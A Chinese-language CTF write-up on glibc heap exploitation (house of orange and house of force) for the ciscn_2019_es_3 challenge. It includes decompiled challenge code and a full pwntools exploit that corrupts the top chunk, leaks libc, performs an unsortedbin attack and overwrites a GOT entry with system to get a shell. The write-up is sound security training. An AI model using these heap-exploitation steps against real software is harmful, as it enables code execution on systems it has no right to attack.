0x00

还是 nssctf 的每日一题,发现是对于top chunk的利用,还没有总结过,于是记录一下

0x01 house of orange

主要应对没有free的情况,通过溢出修改top chunksize字段,改小后并绕过一些检查即可将top chunk放入unsortedbin;因为只适用于比较古早的版本(glibc2.29-)就不放源码过多分析了;具体见 wiki上的叙述只要满足:

  • 伪造的 size 必须要对齐到内存页
  • size 要大于 MINSIZE(0x10)
  • size 要小于之后申请的 chunk size + MINSIZE(0x10)
  • sizeprev inuse 位必须为 1

这样再申请一个大于top chunk伪造sizechunk,即可将top chunk放入unsorted bin,后续就可以再从这个old top-chunk中切割chunkleaklibc地址或者进行一些堆风水构造出uaf,具体情况具体应用,不赘述

0x02 house of force

也是基本适用于古早版本(glibc2.29-),其手法就是将top-chunksize修改非常大(一般改为**-1**),然后分配经过top-chunk与目标地址偏移大小的chunk,将top-chunk地址更新到目标地址,实现任意地址分配,具体见wiki
更多的还有就是利用其修改main_arenatop-chunk指针的思想,此前分析过unsortedbin attack 写入的正是main_arenatop-chunk指针,那么直接利用unsortedbin attacktop-chunk指针写入可写地址,然后修改top chunk地址为目标地址即可
另外需要注意修复main_arenaunsortedbin,其源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);

/* Flags (formerly in max_fast). */
int flags;

/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pwndbg> p main_arena
$1 = {
mutex = 0,
flags = 0,
have_fastchunks = 0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x6036a0,
last_remainder = 0x0,
bins = {0x7ffff7e03b20 <main_arena+96>, 0x7ffff7e03b20 <main_arena+96>, 0x7ffff7e03b30 <main_arena+112>, 0x7ffff7e03b30 <main_arena+112>,
0x7ffff7e03b40 <main_arena+128>, 0x7ffff7e03b40 <main_arena+128>, 0x7ffff7e03b50 <main_arena+144>, 0x7ffff7e03b50 <main_arena+144>,
0x7ffff7e03b60 <main_arena+160>, 0x7ffff7e03b60 <main_arena+160>, 0x7ffff7e03b70 <main_arena+176>, 0x7ffff7e03b70 <main_arena+176>,
0x7ffff7e03b80 <main_arena+192>, 0x7ffff7e03b80 <main_arena+192>, 0x7ffff7e03b90 <main_arena+208>, 0x7ffff7e03b90 <main_arena+208>,
0x7ffff7e03ba0 <main_arena+224>, 0x7ffff7e03ba0 <main_arena+224>, 0x7ffff7e03bb0 <main_arena+240>, 0x7ffff7e03bb0 <main_arena+240>,
0x7ffff7e03bc0 <main_arena+256>, 0x7ffff7e03bc0 <main_arena+256>, 0x7ffff7e03bd0 <main_arena+272>, 0x7ffff7e03bd0 <main_arena+272>,
0x7ffff7e03be0 <main_arena+288>, 0x7ffff7e03be0 <main_arena+288>, 0x7ffff7e03bf0 <main_arena+304>, 0x7ffff7e03bf0 <main_arena+304>,
0x7ffff7e03c00 <main_arena+320>, 0x7ffff7e03c00 <main_arena+320>, 0x7ffff7e03c10 <main_arena+336>, 0x7ffff7e03c10 <main_arena+336>,
0x7ffff7e03c20 <main_arena+352>, 0x7ffff7e03c20 <main_arena+352>, 0x7ffff7e03c30 <main_arena+368>, 0x7ffff7e03c30 <main_arena+368>,
0x7ffff7e03c40 <main_arena+384>, 0x7ffff7e03c40 <main_arena+384>, 0x7ffff7e03c50 <main_arena+400>, 0x7ffff7e03c50 <main_arena+400>,
0x7ffff7e03c60 <main_arena+416>, 0x7ffff7e03c60 <main_arena+416>, 0x7ffff7e03c70 <main_arena+432>, 0x7ffff7e03c70 <main_arena+432>,
0x7ffff7e03c80 <main_arena+448>, 0x7ffff7e03c80 <main_arena+448>, 0x7ffff7e03c90 <main_arena+464>, 0x7ffff7e03c90 <main_arena+464>,
0x7ffff7e03ca0 <main_arena+480>, 0x7ffff7e03ca0 <main_arena+480>, 0x7ffff7e03cb0 <main_arena+496>, 0x7ffff7e03cb0 <main_arena+496>,
0x7ffff7e03cc0 <main_arena+512>, 0x7ffff7e03cc0 <main_arena+512>, 0x7ffff7e03cd0 <main_arena+528>, 0x7ffff7e03cd0 <main_arena+528>,
0x7ffff7e03ce0 <main_arena+544>, 0x7ffff7e03ce0 <main_arena+544>, 0x7ffff7e03cf0 <main_arena+560>, 0x7ffff7e03cf0 <main_arena+560>,
0x7ffff7e03d00 <main_arena+576>, 0x7ffff7e03d00 <main_arena+576>, 0x7ffff7e03d10 <main_arena+592>, 0x7ffff7e03d10 <main_arena+592>,
0x7ffff7e03d20 <main_arena+608>, 0x7ffff7e03d20 <main_arena+608>, 0x7ffff7e03d30 <main_arena+624>, 0x7ffff7e03d30 <main_arena+624>,
0x7ffff7e03d40 <main_arena+640>, 0x7ffff7e03d40 <main_arena+640>, 0x7ffff7e03d50 <main_arena+656>, 0x7ffff7e03d50 <main_arena+656>,
0x7ffff7e03d60 <main_arena+672>, 0x7ffff7e03d60 <main_arena+672>, 0x7ffff7e03d70 <main_arena+688>, 0x7ffff7e03d70 <main_arena+688>,
0x7ffff7e03d80 <main_arena+704>, 0x7ffff7e03d80 <main_arena+704>, 0x7ffff7e03d90 <main_arena+720>, 0x7ffff7e03d90 <main_arena+720>,
0x7ffff7e03da0 <main_arena+736>, 0x7ffff7e03da0 <main_arena+736>, 0x7ffff7e03db0 <main_arena+752>, 0x7ffff7e03db0 <main_arena+752>,
0x7ffff7e03dc0 <main_arena+768>, 0x7ffff7e03dc0 <main_arena+768>, 0x7ffff7e03dd0 <main_arena+784>, 0x7ffff7e03dd0 <main_arena+784>,
0x7ffff7e03de0 <main_arena+800>, 0x7ffff7e03de0 <main_arena+800>, 0x7ffff7e03df0 <main_arena+816>, 0x7ffff7e03df0 <main_arena+816>,
0x7ffff7e03e00 <main_arena+832>, 0x7ffff7e03e00 <main_arena+832>, 0x7ffff7e03e10 <main_arena+848>, 0x7ffff7e03e10 <main_arena+848>,
0x7ffff7e03e20 <main_arena+864>, 0x7ffff7e03e20 <main_arena+864>, 0x7ffff7e03e30 <main_arena+880>, 0x7ffff7e03e30 <main_arena+880>,
0x7ffff7e03e40 <main_arena+896>, 0x7ffff7e03e40 <main_arena+896>, 0x7ffff7e03e50 <main_arena+912>, 0x7ffff7e03e50 <main_arena+912>,
0x7ffff7e03e60 <main_arena+928>, 0x7ffff7e03e60 <main_arena+928>, 0x7ffff7e03e70 <main_arena+944>, 0x7ffff7e03e70 <main_arena+944>,
0x7ffff7e03e80 <main_arena+960>, 0x7ffff7e03e80 <main_arena+960>, 0x7ffff7e03e90 <main_arena+976>, 0x7ffff7e03e90 <main_arena+976>,
0x7ffff7e03ea0 <main_arena+992>, 0x7ffff7e03ea0 <main_arena+992>, 0x7ffff7e03eb0 <main_arena+1008>, 0x7ffff7e03eb0 <main_arena+1008>,
0x7ffff7e03ec0 <main_arena+1024>, 0x7ffff7e03ec0 <main_arena+1024>, 0x7ffff7e03ed0 <main_arena+1040>, 0x7ffff7e03ed0 <main_arena+1040>,
0x7ffff7e03ee0 <main_arena+1056>, 0x7ffff7e03ee0 <main_arena+1056>, 0x7ffff7e03ef0 <main_arena+1072>, 0x7ffff7e03ef0 <main_arena+1072>,
0x7ffff7e03f00 <main_arena+1088>, 0x7ffff7e03f00 <main_arena+1088>, 0x7ffff7e03f10 <main_arena+1104>, 0x7ffff7e03f10 <main_arena+1104>,
0x7ffff7e03f20 <main_arena+1120>, 0x7ffff7e03f20 <main_arena+1120>, 0x7ffff7e03f30 <main_arena+1136>, 0x7ffff7e03f30 <main_arena+1136>,
0x7ffff7e03f40 <main_arena+1152>, 0x7ffff7e03f40 <main_arena+1152>, 0x7ffff7e03f50 <main_arena+1168>, 0x7ffff7e03f50 <main_arena+1168>,
0x7ffff7e03f60 <main_arena+1184>, 0x7ffff7e03f60 <main_arena+1184>, 0x7ffff7e03f70 <main_arena+1200>, 0x7ffff7e03f70 <main_arena+1200>,
0x7ffff7e03f80 <main_arena+1216>, 0x7ffff7e03f80 <main_arena+1216>, 0x7ffff7e03f90 <main_arena+1232>, 0x7ffff7e03f90 <main_arena+1232>,
0x7ffff7e03fa0 <main_arena+1248>, 0x7ffff7e03fa0 <main_arena+1248>, 0x7ffff7e03fb0 <main_arena+1264>, 0x7ffff7e03fb0 <main_arena+1264>,
0x7ffff7e03fc0 <main_arena+1280>, 0x7ffff7e03fc0 <main_arena+1280>, 0x7ffff7e03fd0 <main_arena+1296>, 0x7ffff7e03fd0 <main_arena+1296>,
0x7ffff7e03fe0 <main_arena+1312>, 0x7ffff7e03fe0 <main_arena+1312>, 0x7ffff7e03ff0 <main_arena+1328>, 0x7ffff7e03ff0 <main_arena+1328>,
0x7ffff7e04000 <main_arena+1344>, 0x7ffff7e04000 <main_arena+1344>, 0x7ffff7e04010 <main_arena+1360>, 0x7ffff7e04010 <main_arena+1360>,
0x7ffff7e04020 <main_arena+1376>, 0x7ffff7e04020 <main_arena+1376>, 0x7ffff7e04030 <main_arena+1392>, 0x7ffff7e04030 <main_arena+1392>,
0x7ffff7e04040 <main_arena+1408>, 0x7ffff7e04040 <main_arena+1408>, 0x7ffff7e04050 <main_arena+1424>, 0x7ffff7e04050 <main_arena+1424>,
0x7ffff7e04060 <main_arena+1440>, 0x7ffff7e04060 <main_arena+1440>, 0x7ffff7e04070 <main_arena+1456>, 0x7ffff7e04070 <main_arena+1456>,
0x7ffff7e04080 <main_arena+1472>, 0x7ffff7e04080 <main_arena+1472>, 0x7ffff7e04090 <main_arena+1488>, 0x7ffff7e04090 <main_arena+1488>,
0x7ffff7e040a0 <main_arena+1504>, 0x7ffff7e040a0 <main_arena+1504>, 0x7ffff7e040b0 <main_arena+1520>, 0x7ffff7e040b0 <main_arena+1520>,
0x7ffff7e040c0 <main_arena+1536>, 0x7ffff7e040c0 <main_arena+1536>, 0x7ffff7e040d0 <main_arena+1552>, 0x7ffff7e040d0 <main_arena+1552>,
0x7ffff7e040e0 <main_arena+1568>, 0x7ffff7e040e0 <main_arena+1568>, 0x7ffff7e040f0 <main_arena+1584>, 0x7ffff7e040f0 <main_arena+1584>,
0x7ffff7e04100 <main_arena+1600>, 0x7ffff7e04100 <main_arena+1600>, 0x7ffff7e04110 <main_arena+1616>, 0x7ffff7e04110 <main_arena+1616>,
0x7ffff7e04120 <main_arena+1632>, 0x7ffff7e04120 <main_arena+1632>, 0x7ffff7e04130 <main_arena+1648>, 0x7ffff7e04130 <main_arena+1648>,
0x7ffff7e04140 <main_arena+1664>, 0x7ffff7e04140 <main_arena+1664>, 0x7ffff7e04150 <main_arena+1680>, 0x7ffff7e04150 <main_arena+1680>...},
binmap = {0, 0, 0, 0},
next = 0x7ffff7e03ac0 <main_arena>,
next_free = 0x0,
attached_threads = 1,
system_mem = 135168,
max_system_mem = 135168
}

top指针后的是last_remainer,再往后是bins数组,main_arena.bins 数组中存储的内容是各个空闲块链表的表头指针。我们进行unsortedbin attack后会损坏unsortedbin表头,如果还需要分配chunk,则要修复,在利用unsortedbin attacktop-chunk指针写入可写地址,然后修改top chunk地址为目标地址的同时,继续往后写,将unsortedbin表头修复为原来正常值即可

0x03 ciscn_2019_es_3 / ciscn2019东南pwn3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
puts(&s_);
read_name();
while ( 1 )
{
menu();
switch ( (unsigned int)read_int() )
{
case 1u:
add();
break;
case 2u:
show();
break;
case 3u:
edit();
break;
case 4u:
info();
break;
case 5u:
exit(0);
default:
puts("Invalid choice");
break;
}
}
}

菜单题,漏洞位于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int edit()
{
unsigned int n7; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
n7 = read_int();
if ( n7 > 7 )
{
puts("out of page:");
exit(0);
}
if ( (&chunk_address)[n7] )
{
printf("Content:");
read_content((&chunk_address)[n7], chunk_size[n7]);
chunk_size[n7] = strlen((&chunk_address)[n7]);
printf("size:%ld\n", chunk_size[n7]);
return puts("Done !");
}
else
{
puts("Not found !");
return 0;
}
}

edit 选项使用strlen函数更新chunk_size,可以溢出

1
2
3
4
5
6
7
8
__int64 info()
{
printf("name : %s\n", name);
printf("Page : %u\n", reg);
printf("Do you want to change the name? (yes:1 / no:0) ");
__isoc99_scanf("%d");
return 0LL;
}

info 选项输出 name 时候可以带出后续内容

1
2
3
4
5
.bss:00000000006020C0 name            db 40h dup(?)           ; DATA XREF: read_name+18↑o
.bss:00000000006020C0 ; info+F↑o
.bss:0000000000602100 ; char *chunk_address
.bss:0000000000602100 chunk_address dq ? ; DATA XREF: add+2E↑r
.bss:0000000000602100 ; add+B3↑w ...

可以用来泄露堆地址,其他选项没有什么漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int add()
{
int i; // [rsp+0h] [rbp-10h]
int nbytes; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 8 )
{
puts("You can't add new page anymore!");
return 0;
}
if ( !(&chunk_address)[i] )
break;
}
printf("Size of page :");
nbytes = read_int();
buf = malloc(nbytes);
if ( !buf )
{
puts("Error !");
exit(0);
}
printf("Content :");
read_content(buf, nbytes);
(&chunk_address)[i] = (char *)buf;
chunk_size[i] = nbytes;
++reg;
return puts("Done !");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int show()
{
unsigned int n7; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
n7 = read_int();
if ( n7 > 7 )
{
puts("out of page:");
exit(0);
}
if ( (&chunk_address)[n7] )
{
printf("Page #%u \n", n7);
return printf("Content :\n%s\n", (&chunk_address)[n7]);
}
else
{
puts("Not found !");
return 0;
}
}

思路就是:

  • house of orange:利用溢出修改top chunksize得到unsortedbin
  • 利用得到的unsorted chunk堆风水布局造出一个uaf实现控制unsortedbinchunk的内容进行unsortedbin attack
  • 进行house of force,注意修复unsortedbin

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6" # 远程为2.27-3ubuntu1
host = "node5.anna.nssctf.cn"
port = 25750
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)

def ch(idx):
io.recvuntil(b'Your choice :')
io.sendline(str(idx).encode())

def add(size, data = b'\n'):
ch(1)
io.recvuntil(b':')
io.sendline(str(size).encode())
io.recvuntil(b':')
io.send(data)

def show(idx):
ch(2)
io.recvuntil(b':')
io.sendline(str(idx).encode())

def edit(idx, data):
ch(3)
io.recvuntil(b':')
io.sendline(str(idx).encode())
io.recvuntil(b':')
io.send(data)

def n_info(choice = 0):
ch(4)
io.recvuntil(b'a'*0x40)
leak = io.recvuntil(b'\x0a')[:-1]
io.recvuntil(b'Do you want to change the name? (yes:1 / no:0) ')
io.sendline(str(choice).encode())
return leak

def ex():
ch(5)

io.recvuntil(b'name :')
io.send(b'a'*0x40) # 发送 0x40 数据,那么选项4就可以多带出 chunk_address

add(0x1e000) #0
leak_addr = u64(n_info().ljust(0x8, b'\x00'))
log.info("leak_addr --> "+hex(leak_addr))
heap_base = leak_addr - 0x260
log.info("heap_base --> "+hex(heap_base))

add(0xf8) #1
edit(1, b'a'*0xf8) # strlen 遇 \x00 才截断计数,可以在更新 size 的时候利用这点,下次 edit 就可以 overflow
edit(1, b'a'*0xf8 + b'\x91\x0c\x00') # 修改 top-chunk 的 size

add(0x1008) #2 使 old top-chunk 进入 unsortedbin
add(0x68, b'\x01') #3 此 chunk 从 unsortedbin 中的 old top-chunk 中切割得来,其中残留的 libc 地址最低字节为 \x00,随便写入一个非零字节防止截断

show(3)
io.recvuntil(b'Content :\n')
libc_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x3ec201
log.info("libc_base --> "+hex(libc_base))

edit(3, b'a'*0x68)
edit(3, b'a'*0x68 + b'\x31\x2c') # 修改剩余 old top-chunk 的 size,使其包含 chunk 2
edit(2, b'a'*0x1000 + p64(0x2c30)) # chunk 2 在 new top-chunk 上方, 利用其修改掉 new top-chunk 的 pre_size 绕过 unlink 检查
add(0x1c10) #4 切割 size 被修改为 0x2c30 的 old top-chunk,使得 chunk 2 进入 unsortedbin,但我们仍然可以控制 chunk 2

edit(2, p64(0) + p64(0x602108 - 0x10)) # unsortedbin attack,将 main_arena 中 top-chunk addr 的指针写入 chunk_list[1]
add(0x1000)

edit(1, p64(elf.got['atol'] - 0x10) + p64(0) + p64(libc_base + 0x3ebca0)*2) # 修改 main_arena, top-chunk addr 为 atol got-0x10, 同时修复其中 unsortedbin 头
add(0x10, p64(libc_base + libc.sym['system'])) # 申请出 atol got 表项,改为 system

io.recvuntil(b'Your choice :')
io.send(b'/bin/sh\n') # getshell

io.interactive()